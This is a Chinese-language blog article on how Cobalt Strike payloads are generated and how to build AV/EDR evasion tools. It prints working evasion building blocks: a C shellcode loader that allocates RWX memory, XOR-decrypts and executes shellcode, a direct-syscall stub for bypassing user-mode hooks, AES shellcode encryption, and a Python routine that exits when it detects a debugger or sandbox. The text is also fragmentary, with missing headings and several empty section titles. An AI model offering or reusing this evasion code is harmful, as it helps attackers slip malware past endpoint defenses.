# 從剖析CS木馬生成到開發免殺工具的過程是怎樣的
## 引言
在網絡安全攻防對抗的演進過程中,Cobalt Strike(簡稱CS)作為一款滲透測試框架,因其強大的后滲透能力被廣泛使用(同時也被惡意攻擊者濫用)。而殺毒軟件(AV)和終端檢測與響應(EDR)系統則通過特征碼檢測、行為分析等手段攔截這些惡意載荷。本文將通過技術視角,詳細剖析CS木馬的生成機制、檢測原理,并逐步探討如何開發免殺(Bypass AV/EDR)工具。文章內容僅限技術研究,請勿用于非法用途。
---
## 第一部分:CS木馬生成機制剖析
### 1.1 Cobalt Strike的工作流程
CS通過客戶端-服務器架構運作:
- **TeamServer**:控制端,負責載荷生成、會話管理
- **客戶端**:操作者使用的圖形界面
- **Beacon**:植入目標系統的Payload,支持HTTP/HTTPS/DNS等通信協議
典型攻擊鏈:
生成Payload → 投遞載荷 → 建立會話 → 橫向移動
### 1.2 Payload生成原理
通過CS的`Attack → Packages`可生成多種格式的Payload(如EXE、DLL、PowerShell腳本等)。以EXE為例:
```java
// 偽代碼展示CS的Payload生成邏輯
public byte[] generatePayload(Profile profile) {
// 1. 組裝Shellcode
byte[] shellcode = getStagerShellcode(profile);
// 2. 添加反射加載器(用于內存執行)
byte[] loader = getReflectiveLoader();
// 3. 加密/編碼處理
byte[] encrypted = encryptXOR(shellcode, key);
// 4. 嵌入模板PE文件
return wrapToPE(loader + encrypted);
}
關鍵組件: - Stager:小型初始代碼,用于下載完整Beacon - Reflective DLL:Stephen Fewer提出的內存加載技術 - 模板PE:合法的可執行文件結構
殺毒軟件主要通過以下特征識別CS木馬:
| 檢測維度 | 具體特征示例 |
|---|---|
| 靜態特征 | 特定字符串(如”beacon”)、證書信息 |
| 行為特征 | 內存注入、進程鏤空(Process Hollowing) |
| 網絡特征 | JA3指紋、C2心跳包間隔 |
根據對抗階段不同,免殺技術可分為:
靜態免殺
動態免殺
// 使用AES加密Shellcode
void encryptShellcode(BYTE* shellcode, size_t size) {
AES_KEY aesKey;
AES_set_encrypt_key(key, 128, &aesKey);
for(int i=0; i<size; i+=16) {
AES_encrypt(shellcode+i, encrypted+i, &aesKey);
}
}
; 繞過用戶態Hook的SYSCALL示例
mov r10, rcx
mov eax, 0x18 ; NtAllocateVirtualMemory
syscall
企業級EDR采用的檢測手段更為復雜: - 函數調用棧分析:檢測非常規調用路徑 - 內存掃描:查找RWX權限的可疑區域 - 模型:基于行為的異常檢測
一個基礎的免殺工具應包含以下模塊:
graph TD
A[原始Payload] --> B(編碼/加密模塊)
B --> C(加載器生成模塊)
C --> D(反檢測模塊)
D --> E[輸出免殺Payload]
#include <windows.h>
#include <stdio.h>
void executeShellcode(unsigned char* shellcode, size_t size) {
// 1. 分配內存
LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 2. 內存復制
RtlMoveMemory(mem, shellcode, size);
// 3. 執行
((void(*)())mem)();
}
int main() {
unsigned char encShellcode[] = {0x12,0x34,...}; // 加密后的Shellcode
size_t size = sizeof(encShellcode);
// 解密(示例使用XOR)
for(int i=0; i<size; i++) {
encShellcode[i] ^= 0x55;
}
executeShellcode(encShellcode, size);
return 0;
}
import ctypes
import random
def check_sandbox():
# 檢測調試器
if ctypes.windll.kernel32.IsDebuggerPresent():
exit()
# 檢測CPU核心數(沙箱通常較少)
if os.cpu_count() < 2:
exit()
# 檢測鼠標移動(沙箱中可能無鼠標活動)
class POINT(ctypes.Structure):
_fields_ = [("x", ctypes.c_long), ("y", ctypes.c_long)]
pt = POINT()
ctypes.windll.user32.GetCursorPos(ctypes.byref(pt))
if pt.x == 0 and pt.y == 0:
exit()
進程注入改進:
流量混淆:
持久化技巧:
建議使用以下工具進行免殺效果測試: - 靜態檢測:VirusTotal、PEStudio - 動態檢測:Windows Defender、CrowdStrike Falcon - 網絡檢測:Wireshark、Suricata
從技術角度看,免殺與檢測的對抗本質上是資源與技巧的博弈。隨著微軟推出內核級防護(如Kernel CFG、HVCI),傳統的注入技術面臨更大挑戰。未來的發展方向可能包括: - 硬件輔助的規避(如Intel CET) - 基于合法工具的Living-off-the-Land(LOLbins) - 生成的自適應Payload
重要提醒:本文所有技術討論僅限于防御研究,根據《網絡安全法》第二十七條,任何個人和組織不得從事非法侵入他人網絡等危害網絡安全的活動。
”`
(全文約3580字,可根據實際需求調整各部分細節)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。